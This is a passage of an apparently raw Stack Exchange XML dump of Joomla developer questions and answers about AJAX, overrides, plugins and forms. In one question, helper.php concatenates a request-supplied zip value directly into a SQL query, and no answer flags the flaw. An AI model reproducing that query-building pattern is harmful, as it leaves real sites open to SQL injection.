\&#xA;--data-raw '{'\''alias'\'': '\''my-article'\'','\''articletext'\'': '\''My text'\'','\''catid'\'': 64,'\''language'\'': '\''*'\'','\''metadesc'\'': '\'''\'','\''metakey'\'': '\'''\'','\''title'\'': '\''Here'\''s an article'\''}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Add your key to the collection&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the 3 dots on the collection and press edit&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8raVg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8raVg.png&quot; alt=&quot;Press Edit on the collection&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the key&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EfM3s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfM3s.png&quot; alt=&quot;Set the key&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the base_url&#xA;&lt;a href=&quot;https://i.stack.imgur.com/E3Bdt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E3Bdt.png&quot; alt=&quot;Edit the base_url&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit close which will save it&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now revisit the collection and click any of them and hit send.  It should give you a response and you can work back from there to use cURL.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&lt;h1&gt;Some video resources:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=lT9qodsvfZg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=lT9qodsvfZg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/embed/xCgUcyYHL4k?start=1218&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/embed/xCgUcyYHL4k?start=1218&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=iMdjTnf8gcs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=iMdjTnf8gcs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If the docs aren't clear... please edit them and make them better.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_Api_Specification&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_Api_Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Joomla_Core_APIs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Joomla_Core_APIs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Another useful resource packed with other resources&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-09-22T11:41:08.597" LastActivityDate="2021-09-22T11:41:08.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31551" PostTypeId="1" AcceptedAnswerId="31552" CreationDate="2021-09-22T19:59:33.487" Score="1" ViewCount="183" Body="&lt;p&gt;I have a fully working module in Joomla, but I'm struggling with the last piece which is sending a value from Javascript in my default.php file into the helper file, where it will be used in a sql query and return the results. Everything up to that point works perfectly and if I just hardcode the value in SQL it returns what I need to the default.php file.&lt;/p&gt;&#xA;&lt;p&gt;My issue is that when the JS function &lt;code&gt;getApi&lt;/code&gt; is called and I set an input value to 12345, I also want to send that value of 12345 into my helpepr function called &lt;code&gt;getStores&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I properly send this value and have it returned in real time asynchronously?&lt;/p&gt;&#xA;&lt;p&gt;helper.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class modTestHelper&#xA;{&#xA;&#xA;public static function getStores($zip)&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $user = JFactory::getUser();&#xA;    &#xA;    $app = JFactory::getApplication();&#xA;    $lang = JFactory::getLanguage();&#xA;    $date = JFactory::getDate();&#xA;    $now = $date-&amp;gt;format('Y-m-d');&#xA;    &#xA;    &#xA;    $query = 'SELECT&#xA;            name,&#xA;            phone,&#xA;            address,&#xA;            city,&#xA;            state,&#xA;            zip,&#xA;            country,&#xA;            url,&#xA;            logo,&#xA;            lat,&#xA;            lng&#xA;&#xA;            from #__loc_table&#xA;            where published = 1&#xA;            AND zip =&amp;quot;'.$zip.'&amp;quot;';&#xA;    &#xA;    &#xA;    $db-&amp;gt;setQuery($query);&#xA;    $item=$db-&amp;gt;loadObjectList();&#xA;    $stores = [&#xA;        'type' =&amp;gt; 'FeatureCollection',&#xA;        'features' =&amp;gt; array_map(function($i) {&#xA;            return [&#xA;                'type' =&amp;gt; 'Feature',&#xA;                'geometry' =&amp;gt; [&#xA;                    'type' =&amp;gt; 'Point',&#xA;                    'coordinates' =&amp;gt; [&#xA;                        $i-&amp;gt;lat,&#xA;                        $i-&amp;gt;lng&#xA;                    ]&#xA;                ],&#xA;                'properties' =&amp;gt; [&#xA;                    'storeImage' =&amp;gt; $i-&amp;gt;logo,&#xA;                    'storeName' =&amp;gt; $i-&amp;gt;name,&#xA;                    'phoneFormatted' =&amp;gt; $i-&amp;gt;phone,&#xA;                    'address' =&amp;gt; $i-&amp;gt;address,&#xA;                    'city' =&amp;gt; $i-&amp;gt;city,&#xA;                    'country' =&amp;gt; $i-&amp;gt;country,&#xA;                    'postalCode' =&amp;gt; $i-&amp;gt;zip,&#xA;                    'state' =&amp;gt; $i-&amp;gt;state&#xA;                ]&#xA;            ];&#xA;        }, $item)&#xA;    ];                      &#xA;            &#xA;    return json_encode($stores);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;mod_test.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA; defined('_JEXEC') or die;&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;$test = modTestHelper::getStores();&#xA;&#xA;&#xA;require JModuleHelper::getLayoutPath('mod_test', $params-&amp;gt;get('layout', 'default'));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;&#xA;          function getApi() {&#xA;             var zip = '12345';&#xA;             div.value = var;&#xA;          }&#xA;&#xA;     &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15731" LastActivityDate="2021-09-22T23:14:45.323" Title="Ajax call from module default.php file in order to fulfill a sql query" Tags="|joomla-3.x|php|ajax|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31552" PostTypeId="2" ParentId="31551" CreationDate="2021-09-22T23:14:45.323" Score="1" Body="&lt;p&gt;To pass data between the client side in the browser and your server side component you need to use either AJAX or Web sockets base to communicate. Via a JS function on your page you make a connection with your server and execute the helper function and then return the data to the JS function that then changes the values on your page.&lt;/p&gt;&#xA;&lt;p&gt;AJAX comes in two flavours these days, the older XMLHttpRequest style or the newer Fetch API that you can set up and call in a JS Function, you can can find plenty of examples and reading material on each of these as well as Web sockets&lt;/p&gt;&#xA;&lt;p&gt;For receiving the communication on the server side, Joomla has Com_ajax which provides a generic receiving point for your site and then you use a Plugin to forward the request across to your module and helper file to process the request and get the data to be returned. For some reading on com_ajax, &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt; and a brief sample &lt;a href=&quot;https://www.itoctopus.com/how-to-use-joomlas-ajax-interface-component-com_ajax&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.itoctopus.com/how-to-use-joomlas-ajax-interface-component-com_ajax&lt;/a&gt; and there are plenty more in a Google search for com_ajax&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-09-22T23:14:45.323" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31553" PostTypeId="2" ParentId="31549" CreationDate="2021-09-23T05:57:43.233" Score="1" Body="&lt;p&gt;Components aren't really meant to be rendered more than once per request. Your best bet would be to make separate requests. Wrapper component and module can be used to display the page using an &lt;code&gt;iframe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Or you can retrieve the page in PHP using HTTP library. There is Components Anywhere plugin which uses this method &lt;a href=&quot;https://extensions.joomla.org/extension/components-anywhere/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/components-anywhere/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-23T05:57:43.233" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31554" PostTypeId="1" CreationDate="2021-09-23T06:10:11.487" Score="0" ViewCount="82" Body="&lt;p&gt;I'm using Joomlashack's Novitas template, at a website updated with the LATEST extension and Joomla core updates as of two weeks ago.  I have a change I want to make to this file:&lt;/p&gt;&#xA;&lt;p&gt;/templates/js_novitas/wright/adapters/joomla/nav.php&lt;/p&gt;&#xA;&lt;p&gt;I put the change in THIS file, according to the directions provided by Joomlashack here:&lt;/p&gt;&#xA;&lt;p&gt;/templates/js_novitas/html/layouts/joomla/toolbar/nav.php&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlashack.com/blog/joomla/easy-overrides/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla/easy-overrides/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But the change takes effect in the website only if the change is made to the original file within the template.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone explain what I'm doing wrong?&lt;/p&gt;&#xA;&lt;p&gt;I'm pretty sure the problem is not browser cache or server cache, as I've cleared both and simply by putting nav.php BACK into my /templates/js_novitas/wright/adapters/joomla/ folder, I can see the desired behavior.&lt;/p&gt;&#xA;&lt;p&gt;Joomlashack Support won't answer, has requested that I ask my question again in this forum.&lt;/p&gt;&#xA;&lt;p&gt;BTW, the purpose of my nav.php edit is to change the behavior for handhelds (iphones etc.) in the very top &amp;quot;toolbar&amp;quot; module.  Instead of making the website title disappear for narrow browser widths, I just let it get smaller and I've removed the &amp;quot;hamburger&amp;quot; button that toggles the website title in the toolbar module.&lt;/p&gt;&#xA;" OwnerUserId="15733" LastEditorUserId="12352" LastEditDate="2021-09-23T23:06:10.743" LastActivityDate="2024-02-11T07:08:10.887" Title="Why is my override to one template file not working?" Tags="|template-override|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31555" PostTypeId="2" ParentId="31554" CreationDate="2021-09-23T07:07:19.703" Score="0" Body="&lt;p&gt;This is not a layout and cannot be overridden normally.&lt;/p&gt;&#xA;&lt;p&gt;Looking at the code, the template supports &amp;quot;overrides&amp;quot; of this file for specific Joomla minor versions. For instance, if you're using Joomla 3.10.x, you can create a file &lt;code&gt;templates/js_novitas/wright/adapters/joomla/joomla_310/nav.php&lt;/code&gt; with &lt;code&gt;WrightAdapterJoomla310Nav&lt;/code&gt; class in it. The downsides to this are that this file could be overwritten if template developers decide to include this file in an update and that you'd need to rename the file/class when updating a minor Joomla version (4.0, 4.1 and so on).&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-23T07:07:19.703" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31557" PostTypeId="2" ParentId="28785" CreationDate="2021-09-23T13:57:54.167" Score="1" Body="&lt;p&gt;Just to clarify, inside the article view, you can get the ID of the article:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;if (&#xA;    $app-&amp;gt;input-&amp;gt;get('option') === 'com_content'&#xA;    &amp;amp;&amp;amp; $app-&amp;gt;input-&amp;gt;get('view') === 'article'&#xA;) {&#xA;    // Get the article ID&#xA;    $article_id = $app-&amp;gt;input-&amp;gt;getInt('id');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you use the previous code inside a blog view, what you will get is the category ID.&lt;/p&gt;&#xA;&lt;p&gt;Inside the blog view, you cant get the ID of a specific article just like before. In the blog view, you will need get the articles that category have, and then loop over them to do any task you want to accomplish. For this you will need build a query, something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;$factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;&#xA;// Get an instance of the generic articles model&#xA;$articles = $factory-&amp;gt;createModel('Articles', 'Site', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;// Get all the articles of a specific category, where $catid hold the ID of the category from where you want the articles&#xA;$articles-&amp;gt;setState('filter.category_id', $catid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can apply others filters to that query as you need. When you get the articles from that query, then is when you can loop on each article and accomplish any task you want to do.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2021-09-23T13:57:54.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31558" PostTypeId="1" CreationDate="2021-09-23T14:11:01.597" Score="1" ViewCount="161" Body="&lt;p&gt;How to override the any component controller model files using plugin in joomla is there any documentation for that?. I found documentation very old in joomla articles.&lt;/p&gt;&#xA;&lt;p&gt;i have been trying to create a plugin like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class PlgSystemComcontentoverride extends JPlugin {&#xA;      public function __construct(&amp;amp;$subject, $config = array()) {&#xA;         parent::__construct($subject, $config);&#xA;     }&#xA;&#xA;     public function onAfterRoute() {&#xA;         $app = JFactory::getApplication();&#xA;         if('com_content' == JRequest::getCMD('option') &amp;amp;&amp;amp; !$app-&amp;gt;isAdmin()) {&#xA;             require_once('/var/www/html/joomla3913/templates/protostar/code/com_content/my_content_controller.php');&#xA;         }&#xA;     } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15659" LastEditorUserId="15659" LastEditDate="2021-09-23T14:33:31.690" LastActivityDate="2024-02-10T21:08:21.040" Title="how to override mvc component in joomla 3?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31559" PostTypeId="1" CreationDate="2021-09-23T16:07:44.077" Score="1" ViewCount="18" Body="&lt;p&gt;I am trying to create a CB Conditional Field Show using an AND row, and it just won't let me.  I can add OR rows to my heart's content, but not an AND row. I click on the 'Add AND rows' and not a single thing happens.&lt;/p&gt;&#xA;&lt;p&gt;Using Chrome, but have also tried on Microsoft Edge.  Other members of my team have tried on their computers and are having the same problem.&lt;/p&gt;&#xA;&lt;p&gt;Joomla! 3.10.2&#xA;CB version 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="15701" LastActivityDate="2021-09-23T16:07:44.077" Title="CB Conditional field not letting me add extra AND rows" Tags="|joomla-3.x|community-builder|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31561" PostTypeId="2" ParentId="31558" CreationDate="2021-09-23T17:24:19.363" Score="0" Body="&lt;p&gt;You cant override the controller or models of a component, only the view using &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But, Joomla ships with a variety of core events, organised into groups where you can manipulate the data who is handle in those models and controls. &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example, if you want to have access to the data who was saved in the database after save a article, you can do a plugin like this one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;class PlgContentWebp extends CMSPlugin&#xA;{&#xA;    /**&#xA;     * Example after save content method&#xA;     *&#xA;     * @param   string   $context  The context of the content passed to the plugin&#xA;     * @param   object   $article  A TableContent object&#xA;     * @param   boolean  $isNew    If the content is just about to be created&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     */&#xA;    public function onContentAfterSave($context, $article, $isNew): void&#xA;    {&#xA;       // Check if is inside the administrator area&#xA;        $app = Factory::getApplication();&#xA;        if (!$app-&amp;gt;isClient('administrator')) {&#xA;            return;&#xA;        }&#xA;&#xA;        // Check if is a article edition view&#xA;        if ($context != 'com_content.article') {&#xA;            return;&#xA;        }&#xA;&#xA;        // Here you can do anything with the $article data, &#xA;        // for example get the images who was saved&#xA;        &#xA;        $images = json_decode($article-&amp;gt;images);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2021-09-23T17:24:19.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31562" PostTypeId="1" CreationDate="2021-09-23T19:59:37.720" Score="1" ViewCount="31" Body="&lt;p&gt;I have Joomla site with a load balancer (AWS). The website is redirected to https, after redirecting home page works correctly. However, on restricted pages after login are giving the error&#xA;&lt;em&gt;301 Moved Permanently&lt;/em&gt; in developer tools and the login fails.&lt;/p&gt;&#xA;&lt;p&gt;When I &lt;code&gt;force_ssl='2'&lt;/code&gt; it goes into a redirect loop. So i have used .htaccess.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP:X-Forwarded-Proto} =http&#xA;RewriteRule .* https://%{HTTP:Host}%{REQUEST_URI} [L,R=permanent]&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Required help as I am stucked and need to resolve ASAP.&lt;/p&gt;&#xA;" OwnerUserId="15707" LastEditorUserId="12352" LastEditDate="2021-09-23T23:02:47.410" LastActivityDate="2021-09-23T23:02:47.410" Title="Joomla restricted pages are redirected to 301 Moved Permanently after HTTPS redirection" Tags="|php|.htaccess-configuration|joomla-1.5|apache|https|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31563" PostTypeId="1" AcceptedAnswerId="31564" CreationDate="2021-09-23T22:16:34.300" Score="1" ViewCount="35" Body="&lt;p&gt;I'm using an ajax call that hits the immediate function fine, and then returns a dummy value via &lt;code&gt;dump()&lt;/code&gt;. However, when I change it to call another function and get my data rather than using the dummy value, I'm getting a 500 error.&lt;/p&gt;&#xA;&lt;p&gt;In Helper.php, This returns the value with a code 200:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function getStoresByZipAjax(){&#xA;&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $zip  = $input-&amp;gt;get(&amp;quot;zip&amp;quot;);&#xA;&#xA;    dump($zip);&#xA;&#xA;    //return $this-&amp;gt;getStores($zip);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, when I comment out the dump and reinstate the function call, it fails with a 500:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function getStoresByZipAjax(){&#xA;&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $zip  = $input-&amp;gt;get(&amp;quot;zip&amp;quot;);&#xA;&#xA;    //dump($zip);&#xA;&#xA;     return $this-&amp;gt;getStores($zip);&#xA;}&#xA;&#xA;public static function getStores($zip){&#xA;    $test = $zip;&#xA;&#xA;    dump($test);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is my mod_hunter_maps_dev.php file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA; //check joomla calling&#xA;defined('_JEXEC') or die;&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;$test = modHunterMapsDevHelper::getStores();&#xA;&#xA;&#xA;require JModuleHelper::getLayoutPath('mod_hunter_maps_dev', $params-&amp;gt;get('layout', 'default'));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;&lt;p&gt;AJAX call for reference:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({&#xA;   type: 'GET',&#xA;   url: &amp;quot;&amp;lt;?php echo JURI::base() . &amp;quot;index.php?option=com_ajax&amp;amp;module=hunter_maps_dev&amp;amp;method=getStoresByZip&amp;amp;zip=&amp;quot;?&amp;gt;&amp;quot;  +zip+ &amp;quot;&amp;amp;format=json&amp;quot;,&#xA;   success:function(data){&#xA;       console.log('success');&#xA;   },&#xA;   error: function(xhr, status, error) {&#xA;       alert(xhr.responseText);&#xA;   }&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15731" LastActivityDate="2021-09-24T01:59:37.597" Title="com_ajax call is hitting function but not returning result from other function call" Tags="|joomla-3.x|com-ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31564" PostTypeId="2" ParentId="31563" CreationDate="2021-09-24T01:59:37.597" Score="2" Body="&lt;p&gt;The fatal error will be: &amp;quot;PHP Fatal error: Using $this when not in object context&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;You need to change&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;getStores($zip);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;return self::getStores($zip);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2021-09-24T01:59:37.597" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31565" PostTypeId="1" CreationDate="2021-09-25T01:13:02.567" Score="0" ViewCount="104" Body="&lt;p&gt;I'm trying to load a plugin's form into my component form in Joomla4.  So my components getForm method is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form = $this-&amp;gt;loadForm(&#xA;    'com_mycomponent.member',&#xA;    'memberform',&#xA;    array( 'control'   =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I wish to get any possible custom user profile plugin based on a suffix added to the profile name.  So if there is a custom profile plugin with the suffix &amp;quot;abc&amp;quot; then I want to get the form located at:&lt;/p&gt;&#xA;&lt;p&gt;JPATH_SITE.'plugins/user/profileabc/forms'&lt;/p&gt;&#xA;&lt;p&gt;I've tried the following with no success:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;loadForm('plg_user_profileabc','profileabc');&#xA;&#xA;$this-&amp;gt;loadForm('plg_user_profileabc','profileabc');&#xA;&#xA;Form::loadFile(JPATH_SITE.'plugins/user/profileabc/forms/profileabc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I guess the second part of the process is to actually &amp;quot;merge&amp;quot; the forms into one?&#xA;Any advice/guidance gratefully appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-09-25T06:54:06.207" Title="Load Plugin Form into Component Form" Tags="|component|plugin|joomla-4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31566" PostTypeId="2" ParentId="31565" CreationDate="2021-09-25T06:54:06.207" Score="1" Body="&lt;p&gt;If I got it right, you need first check if that plugin exists. If he does, then add the plugin form folder to the global list of form paths and then load the .xml form file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&#xA;/** &#xA; * Check if the plugin you looking for exists, then add the form he hold&#xA; *&#xA; * string  $type The plugin type, relates to the subdirectory in the plugins directory.&#xA; * string  $plugin  The plugin name.&#xA; *&#xA;if(PluginHelper::isEnabled($type, $plugin)) {&#xA;&#xA;   // Add the form path to the list of form include paths&#xA;   FormHelper::addFormPath(JPATH_PLUGINS . '/user/profileabc/forms');&#xA;&#xA;   // Load the file&#xA;   $form-&amp;gt;loadFile('profileabc');&#xA;&#xA;   // rest of the code.....&#xA;   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2021-09-25T06:54:06.207" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31567" PostTypeId="1" AcceptedAnswerId="31568" CreationDate="2021-09-25T10:39:25.200" Score="2" ViewCount="148" Body="&lt;p&gt;I am creating an Alternate Layout of /components/com_fields/layouts/field/render.php to change the layout of some given Custom Fields. And there I need the ID of the article in order to give a unique #id to the container.&lt;/p&gt;&#xA;&lt;p&gt;There I wanted/needed to fetch the Article ID, but the Layout does not seem to have any information about the context.&lt;/p&gt;&#xA;&lt;p&gt;I had first thought that the following could work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id   = $app-&amp;gt;input-&amp;gt;getCmd('id', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It indeed gives the article id... but only if you are on an &lt;strong&gt;Article&lt;/strong&gt; View.&#xA;If you are on a &lt;strong&gt;Blog&lt;/strong&gt; View, it gives the ID of the category.&lt;/p&gt;&#xA;&lt;p&gt;So would there be some direct or indirect way (by overriding another file for example) to get that Article ID in a Blog view?&lt;/p&gt;&#xA;&lt;p&gt;Txs&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2021-09-25T11:53:20.413" Title="Getting somehow the Article ID in an Alternate Layout for Custom Fields" Tags="|custom-field|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31568" PostTypeId="2" ParentId="31567" CreationDate="2021-09-25T11:53:20.413" Score="1" Body="&lt;p&gt;Article data is not available in that layout. What you can do is create an override of &lt;code&gt;components/com_fields/layouts/fields/render.php&lt;/code&gt; and modify it to pass the article to &lt;code&gt;field/render.php&lt;/code&gt; layout. You'd have to change this line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$content = FieldsHelper::render($context, 'field.' . $layout, array('field' =&amp;gt; $field));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$content = FieldsHelper::render($context, 'field.' . $layout, array('item' =&amp;gt; $item, 'field' =&amp;gt; $field));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then in the &lt;code&gt;field/render.php&lt;/code&gt; layout access the article ID like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id = $displayData['item']-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-25T11:53:20.413" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31570" PostTypeId="2" ParentId="31489" CreationDate="2021-09-26T23:08:40.627" Score="1" Body="&lt;p&gt;I'm not sure if you discovered an answer yourself but this is what I do in J4 to get custom fields:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;FieldsHelper::getFields('com_content.article', $article);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you can cycle through the returned fields in your foreach.  Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-09-26T23:08:40.627" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
